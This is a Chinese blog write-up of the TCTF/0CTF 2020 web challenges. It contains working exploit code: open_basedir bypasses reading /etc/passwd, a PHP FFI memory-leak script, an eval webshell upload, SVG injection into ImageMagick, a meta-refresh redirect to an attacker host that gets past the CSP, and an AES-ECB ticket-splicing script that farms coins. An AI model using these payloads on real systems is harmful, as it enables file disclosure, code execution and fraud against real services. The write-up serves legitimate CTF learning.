TCTF/0CTF 2020 web writeup

实习前的最后一场ctf, 老年退役选手了(

菜是原罪

easyphp

开局一个shell

<?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}

先看phpinfo

http://pwnable.org:19260/?rh=phpinfo();

信息如下

version: 7.4.5
Server: FPM/FastCGI
disable_classes: ReflectionClass
disable_functions: set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir: /var/www/html

首先存在open_basedir, 我们先尝试能不能绕过他, 目前已知的两种poc如下

  1. https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass

mkdir('cjm00n');
chdir('cjm00n');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(base64_encode(file_get_contents('/etc/passwd')));

  1. https://bugs.php.net/bug.php?id=77850

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');

但是存在问题两个问题

  1. 当前目录/var/www/html无法创建文件和文件夹
  2. ini_set被禁止

其中第二个问题可以使用ini_alter代替, 但是第一个问题无法解决

image-20200629143050134

然后想尝试通过php-fpm来bypass

https://www.secpulse.com/archives/106525.html#openbasedir-bypassfast-cgi

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

这里的话需要使用SSRF来进行攻击(因为无法创建文件), 然后设置SCRIPT_NAMEphp://input来任意执行

首先需要得到fpm的连接路径, 一般有两种模式

  1. unix模式, 形如unix://var/run/php/php7.4-fpm.sock
  2. tcp模式, 形如tcp://127.0.0.1:9000

但是经过不断的fuzz之后发现, 我们获取不到fpm的连接路径, tcp没有开放, unix也没有, 因此这条路走不通

后面发现有人打穿了open_basedir, 将其置空, 使得其他人可以成功上车, 只是目前还不清楚怎么置空

看了第二题的flag, 应该是还是fpm的思路, 但是phpinfo()中的supervisor.sock访问会报权限不足…不知道如何攻击(

蚁剑只能连接POST马, 可以用如下的url

http://pwnable.org:19260/?rh=eval($_POST[cj]);

使用的是蚁剑的ExecScript插件

首先使用glob:///*来列目录

image-20200629144210787

然后直接读取flag.so

比赛后车开走了, 用的比赛时的截图

base64解码后直接strings获取flag

image-20200629144322345

flag{FFi_1s_qu1T3_DANg1ouS}

可以看到flag里面的预期解是FFI, 首先看phpinfo里面, 开启了FFI

image-20200629144614535

FFi::load是无视open_basedir的, 我们可以直接利用FFI::load来加载/flag.h

但是有个问题在于, 我们无法获取函数的定义, 无法对ffi对象进行操作, 这里需要bypass open_basedir, 但是假设我bypass了, 直接读/flag.so不好吗…

预期解应该是飘零师傅提到的内存泄露的做法, 参见下一题

not easy php

上一题的升级版, 依然是shell开局

<?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}

继续收集信息, 如下

version: 7.4.7
Server: Apache 2.0 Handler
disable_classes: CURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,Directory
disable_functions: chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink
open_basedir: /var/www/html

增加了大量的disable_functions, 关键找不到车可以上了(55555

参考了飘零师傅的做法 https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/#noeasyphp

这题改成了apache的环境, 彻底断绝了我的fpm想法

glob依然可用

image-20200629150510149

我们依然没有文件夹的相关权限, 那么FFI看起来像是唯一的出路

需要的内容是 如何获取函数定义(函数名)

https://www.php.net/manual/zh/book.ffi.php

可以看到有FFI相关的函数

image-20200629152357522

并且存在许多内存操作的函数, 这也符合FFI是调用C语言的特性

同时FFI曾经出现过内存泄漏的漏洞 https://bugs.php.net/bug.php?id=78762 (已修复)

因此这里可以想到也有内存泄露的可能

先放上飘零师傅的leak脚本

<?php
try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);

$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);

$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);

//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}

结合内容来进行解析, 首先是申请了两段char[8]内存, 并且不会自动free

$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';

这段是将前面申请的两端内容进行了类型转换, 然后返回新的数据结构

$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);

这段是申请了一个用于存放地址的内存, 然后使用FFI::add将前面创建的内存块转换为指针, 并使用FFI::memcpy复制新建的地址块中

$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);

这一段是关键, 首先申请了一段内存用来放数据, 类型是一段长为102400的char

这里的char也可以使用FFI::type(‘char’)

然后将$newa的首地址往前推0x20000, 并复制102400leak, 之后转换为string输出

$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);

那么我们仔细分析一下就可以知道, 实际上我们只需要下面几步

  1. 申请一个内存作为基地址
  2. 申请一块内存用于存放复制的数据
  3. 将基地址往前偏移, 并复制到第2步申请的内存中
  4. 转换第3步复制后的内存为php的string类型, 并打印

try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false);
FFI::memcpy($leak, $a-0x24000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}

和队友@crzz讨论了一下, 还可以更短, 直接将leak作为基地址

try {
$ffi=FFI::load("/flag.h");
$leak = FFI::new("char[0x50000]", false);
FFI::memcpy($leak, $leak-0x50000, 0x50000);
$tmp = FFI::string($leak,0x50000);
var_dump($tmp);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}

python脚本发包

import requests
import re
import json

url = "http://pwnable.org:19261/"
sess = requests.Session()

def exp():
param = {
"rh":
'''
try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false);
FFI::memcpy($leak, $a-0x24000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
'''
}
resp = sess.get(url, params=param).text
print(resp)
open("out", "w", encoding="utf-8").write(resp)


if __name__ == "__main__":
exp()

运行之后会顺利的拿到flag的函数

image-20200630015424456

和上题一样执行即可

image-20200630013604862

膜一波飘零师傅

wechat generator

题目长这样

image-20200630104132477

点击preview会生成一个svg图片以及一段uuid

image-20200630104441565

image-20200630104356829

点击share之后会生成一个随机字符串来表示图片

image-20200630104527817

fuzz之后发现后缀名可以更改, 只要都是3个字符, 例如png, pdf, psd, htm

并且我们可以在pdf中查找到后端使用的组件为imagemagick

也可以添加表情

image-20200630105953230

对应的svg内容如下

image-20200630105928590

这里是用了xlink:href来应用外部的文件, 那么是不是也可以同样用来引用内部文件呢

可以使用text:来引入内部文件

data=[{"type":0,"message":"222Love you!"},{"type":1,"message":"11Me too!!![1111\"/><image height=\"700\" width=\"700\" xlink:href=\"text:/etc/passwd\"/>]"}]

然后查看对应的png

image-20200630111701211

读flag

image-20200630111743662

由于是python, 我们读一下他的源码 /app/app.py

image-20200630112108053

可以看到有个路由

http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

过滤

src|porc|env|meta

CSP

Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

meta绕过即可

data=[{"type":0,"message":"222Love you!"},{"type":1,"message":"11Me too!!![1111\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://ip:port/1.html\"></memetata>]"}]

image-20200630112801188

image-20200630112703994

flag{5Vg_1s_Pow3rFu1_y3T_D4n93r0u5_eba66e10}

Lottery

这道题蛮好玩的2333

image-20200629152605237

注册后登录即可

image-20200629152634632

可以看到有购买彩票的地方, 我们只有30个coin, 而flag需要99个, 这道题和ADworld的Lottery有点类似, 因此一开始先做了fuzz, 发现没有源码泄露的问题, 我们需要分析一下接口

点击购买后会扣除我们10个coin, 此时会发送一个数据包到/lottery/buy, 并返回一个enc

image-20200629152952567

然后进入兑换页面, 发现enc在url里面

image-20200629152839358

并且同样发送一个包进行enc的解密

image-20200629153047568

点击charge后, 会发送一个包进行兑换, 成功则返回为空

image-20200629153148560

买彩票的钱会在购买的时候就扣除, 因此我们如果可以用其他账户来买彩票, 再把这张彩票兑换给我们, 就可以白嫖钱了

我们对charge接口进行测试, 分别替换了usercoin, 发现均有对应的检测

那么我们就需要猜测enc的加密方式

7DlzPopy7SU3dnoncB+VNornXlOxkUGEkkFdT2H856wiKLsXYtDEo2q4vLZb0/sNuEKmrvMuTwSwCWDB4K59tNabO8NE6rKn+uGYsRaoW7QgjSVnfHSRWRG2F0fjxVcuvCi6zxwfMPznx0nzJw2NdPbSt9reYD8AcCI4hIXsxZg=

enc长度为172位, base64解密后为128位, 猜测明文为info接口返回的信息, 也就是

{"info":{"lottery":"73298a99-0360-4b68-8a6a-8c08641d00f8","user":"f2d76d9b-66ad-48b5-9c55-a4c8a174feda","coin":2}}

而对应不同的彩票, 相同的用户, 最后一段内容和中间一段的内容都是一样的

image-20200629153826117

我们将明文按照16位一组分组, 可以发现可以分为8组, 其中最后一组为}}

image-20200629154043190

那么我们可以推断, 加密模式应该是ECB模式, 如果是CBC的话, 最后一段也会变化

第一种思路是爆破coin对应的那个位, 修改coin, exp如下

import requests
import re
import json
from base64 import b64encode, b64decode
from Crypto.Util.number import bytes_to_long, long_to_bytes

url = "http://pwnable.org:2333/lottery/info"
sess = requests.Session()
cookie = {
"api_token": "QozxQiE0mbT6jIR0oluMzeig793YFFZF"
}
sess.cookies.update(cookie)
def fuzz():
enc = b64decode(b"xgJRlnQXtB3pHJw5Q+2yt57yzF3ZRd+igODLnA1OvVtsKo4ZmFO58H3uZQz2HWxYTidvByiyV5UB5mtk+0w1VoKYw3HxgNPOPKUkQWiUYuA5CRDA5cTW0yEkYQYVgIgVsPXa+yZ+jcS0xGCXaxFFH/bSt9reYD8AcCI4hIXsxZg=")
length = len(enc)
# print(bytes_to_long(enc))
for i in range(length - 36, length - 15):
print(f"[*] fuzz at {i}")
raw = enc[i]
for j in range(0, 255):
if j == raw:
continue
enc_new = enc[:i] + bytes([j]) + enc[i + 1:]
if len(enc_new) != length:
print(enc_new)
raise ValueError("Length error {} & {} at {}".format(len(enc), length, j))
data = b64encode(enc_new)
# print("[*] enc {}".format(enc))
resp = sess.post(url, data={"enc": data}).text
if "invalid" not in resp:
print("\t[+] raw: {} & j: {}".format(raw, j))
print("\t[+] resp {}".format(resp))

然后发现没有找到对应的那个对应的位, 改变了之后都会返回invalid

第二种思路就是移花接木, 彩票中有三部分, 分别是彩票的uuid, 用户的uuid, coin的大小

先选择两张彩票

# {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115a0","coin":2}}
enc1 = "FfsxxldvJ8u53Dc6i2rkMqvuxD+GS06x3wtnCPGBZkpSULd7QKA6Ja7slxhXAiC+AnMmAI10rU71Ftuvyltv1N3mr4L/dT5Vc3VJnqrhi7TCTNj02SA6G+FfFzpUbDVXSxWrrUTkeE7WUzj1O0N+m/bSt9reYD8AcCI4hIXsxZg="
# {"info":{"lottery":"c1cac25d-363f-4987-bc59-803139f89bac","user":"33f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}
enc2 = "lsbDIgDxtNV3Cge5n2rCZJ+odGGYyAaj1r08z6sDuy3kNnoUoBrL1JqPxfUY3vnndCpK+bRKrJwKCb6ODFkiVtUndlUtONUoRv79qDwqtWFwf3DmaP+doWdoh9hzmTLLu8u7/+zR4ovV0hQqbtpNnfbSt9reYD8AcCI4hIXsxZg="

然后将彩票1的前面一部分和彩票2的后面一部分拼接在一起, 构造一张新的彩票

def change_user():
# {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115a0","coin":2}}
enc1 = "FfsxxldvJ8u53Dc6i2rkMqvuxD+GS06x3wtnCPGBZkpSULd7QKA6Ja7slxhXAiC+AnMmAI10rU71Ftuvyltv1N3mr4L/dT5Vc3VJnqrhi7TCTNj02SA6G+FfFzpUbDVXSxWrrUTkeE7WUzj1O0N+m/bSt9reYD8AcCI4hIXsxZg="
# {"info":{"lottery":"c1cac25d-363f-4987-bc59-803139f89bac","user":"33f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}
enc2 = "lsbDIgDxtNV3Cge5n2rCZJ+odGGYyAaj1r08z6sDuy3kNnoUoBrL1JqPxfUY3vnndCpK+bRKrJwKCb6ODFkiVtUndlUtONUoRv79qDwqtWFwf3DmaP+doWdoh9hzmTLLu8u7/+zR4ovV0hQqbtpNnfbSt9reYD8AcCI4hIXsxZg="
for bit in range(22, 120):
print("[*] change last {} bytes".format(bit))
data = enc1[:-bit] + enc2[-bit:]
resp = sess.post(url, data={"enc": data}).text
if "invalid" not in resp:
print("\t[+] resp {}".format(resp))

发现在下面这些位会有正确的输出

[*] change last 22 bytes
[+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115a0","coin":2}}
[*] change last 44 bytes
[+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115cd","coin":1}}
[*] change last 86 bytes
[+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b8f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}}
[*] change last 108 bytes
[+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cac","user":"33f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}}

我们可以将enc进行base64解码, 每16个byte分为一组, 会发现对应的内容如下

1: lottery[:2]
2: lottery[2:18]
3: lorrery[18:34]
4: lorrery[-2:] + user[:2]
5: user[2:18]
6: user[18:34]
7: user[-2:] + coin
8:}}

也就是说我们无法完整的替换用户的uuid或者彩票的uuid, 假如说我们有两张彩票的uuid最后两位相同, 我们直接替换后5组(到lottery-uuid[-2:]), 对应base64后的位数就是后108位, 这样彩票依然是可用的

因此我们写脚本爆破一下, 这里使用了队友@crzz写的api

import requests
import json
import random
import string

def register(username, password="crzz"):
url = "http://pwnable.org:2333/user/register"
r = requests.post(url, data={"username": username, "password": password})
# {"user":{"username":"crzz4","uuid":"83cca019-b360-4e81-92d3-d61c415ac2ff","updated_at":"2020-06-28T12:19:11.000000Z","created_at":"2020-06-28T12:19:11.000000Z","id":67094}}
return json.loads(r.text)

def login(username=None, password="crzz"):
if username is None:
username = ''.join(random.sample(string.ascii_letters + string.digits, 10))
print("[*] login: {}".format(username))
register(username, password)
url = "http://pwnable.org:2333/user/login"
r = requests.post(url, data={"username": username, "password": password})
# {'user': {'id': 67094, 'uuid': '83cca019-b360-4e81-92d3-d61c415ac2ff', 'username': 'crzz4', 'api_token': 'Mvq0bicVXCi3dPA25n0ooJz14rDHtbeI', 'coin': 26, 'created_at': '2020-06-28T12:19:11.000000Z', 'updated_at': '2020-06-28T12:53:45.000000Z'}}
return json.loads(r.text)

def uinfo(api_token):
url = f"http://pwnable.org:2333/user/info?api_token={api_token}"
r = requests.get(url)
return json.loads(r.text)
# 同login

def buy(api_token):
url = "http://pwnable.org:2333/lottery/buy"
r = requests.post(url, data={"api_token": api_token})
return json.loads(r.text)
# {'enc':enc}

def linfo(enc):
url = "http://pwnable.org:2333/lottery/info"
r = requests.post(url, data={"enc": enc})
return json.loads(r.text)
# {'info': {'lottery': '4a400320-e05e-4929-94a1-e62588ac0a78', 'user': '83cca019-b360-4e81-92d3-d61c415ac2ff', 'coin': 5}}

def charge(uuid, coin, enc):
url = "http://pwnable.org:2333/lottery/charge"
r = requests.post(url, data={"user": uuid, "coin": coin, "enc": enc})
return json.loads(r.text)
# []
def main_user(username, password="cjm00n"):
u = login("cjm11n")
user = u['user']['uuid']
token = u['user']['api_token']
enc = buy(u['user']['api_token'])


def get_lottery():
# 手动修改下面三个值
user = "b223a595-ef0d-48ea-8d9c-187f0a7839e0"
token = "Qxq5UleIp4gPkmJIzHillnRI5PZ5PkPs"
enc = "LBSaSWmiAfTmyNZBEN0YECreOlXhDToH41XHnGxNAL1lpscRMUt4mypauRjhbwfrQI3/uAKwQcL0py3/swYrWj8prcv79vrzHwftuPl6rVj2DbPIjIH9l/lmpy/8lIsKhS90GV+/4DxiMo8QNVzx7fbSt9reYD8AcCI4hIXsxZg="
pad = linfo(enc)['info']['lottery'][-2:]
print("[+] last lottery is {}".format(pad))
while True:
u = login() # 登录
for time in range(3):
# print(uinfo(u['user']['api_token'])) # 查信息
e = buy(u['user']['api_token']) # 买彩票
# print(e)
l = linfo(e['enc']) # 中奖信息
# print(l)
if l['info']['lottery'][-2:] == pad:
print("\t[+] get coin: {}".format(l['info']['coin']))
new_enc = e['enc'][:-108] + enc[-108:]
print("\t[+] enc: {}".format(new_enc))
print("\t[+] info: {}".format(linfo(new_enc)))
print("\t[+] charge result: {}".format(charge(user, l['info']['coin'], new_enc)))
# print("\t[+] coin sum: {}".format(uinfo(token)['user']['coin']))

if __name__ == "__main__":
get_lottery()

首先创建一个账户, 并买一张彩票, 收集三个对应的信息

user = "b223a595-ef0d-48ea-8d9c-187f0a7839e0"
token = "Qxq5UleIp4gPkmJIzHillnRI5PZ5PkPs"
enc = "LBSaSWmiAfTmyNZBEN0YECreOlXhDToH41XHnGxNAL1lpscRMUt4mypauRjhbwfrQI3/uAKwQcL0py3/swYrWj8prcv79vrzHwftuPl6rVj2DbPIjIH9l/lmpy/8lIsKhS90GV+/4DxiMo8QNVzx7fbSt9reYD8AcCI4hIXsxZg="

然后修改exp里面的对应的值, 就可以开始薅羊毛了

image-20200629160319193

慢慢等到99, 就可以购买flag

image-20200629160347402

Cloud-Computing v1

题目给了代码

<?php

error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
if (waf($data)) {
die('waf sucks...');
}
file_put_contents("$dir" . "index.php", $data);
case 'shell':
initShellEnv($dir);
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

不给看phpinfo()

首先开启报错

error_reporting(E_ALL);

然后无参数RCE

?action=upload&data=%3C?=eval(getallheaders()[%22p%22]);

由于在sandbox中, 我们可以创建文件夹, 利用前面的bypass open_basedir即可

exp如下

import requests
url = 'http://pwnable.org:47780/?action=upload&data=%3C?=eval(getallheaders()[%22p%22]);'
payload="error_reporting(E_ALL);$path=substr(__FILE__,14,48);if(!file_exists($path.'/1')){{mkdir($path.'/1');}};chdir($path.'/1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('{}'));"
headers = {}
while True:
filename = "/flag"
pl = payload.format(filename)
headers['p']=pl
r = requests.get(url,headers=headers)
print(r.content[:500])
with open(filename.split('/')[-1],'wb') as f:
f.write(r.content)

下载下来后解压, foremost即可获取flag.png

flag{do_u_like_cloud_computing}

Cloud-Computing v2(unsolved)

第二题代码一样, 但是disable_function更多

我们利用

var_dump(get_defined_functions(1));

查看可用函数, 对比后发现多禁用了如下几个函数

chdir
chr
dir
scandir
mb_send_mail
ob_end_clean
ob_get_contents
ob_start
readdir
realpath

没有chdir, 如果利用symlink的话, 需要当前的pwd在沙箱中, 但是我们实际上的pwd在/var/www/html/index.php, 这就很尴尬了

翻阅了 https://bugs.php.net/search.php?cmd=display&search_for=open_basedir&direction=DESC&limit=30&status=Open&begin=0

没有找到好的思路

看了 http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/#cloud-computing-v2

是个go逆向…跪了跪了(

amp2020(unsolved)

什么时候能做出来zsx的题呢.jpg

https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2020/amp2020

参考链接

  1. https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/
  2. http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/
  3. https://github.com/hyperreality/ctf-writeups/blob/master/2020_tctf/README.md


作者: cjm00n
地址: https://cjm00n.top/CTF/tctf-2020-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

RCTF2020 Writeup

评论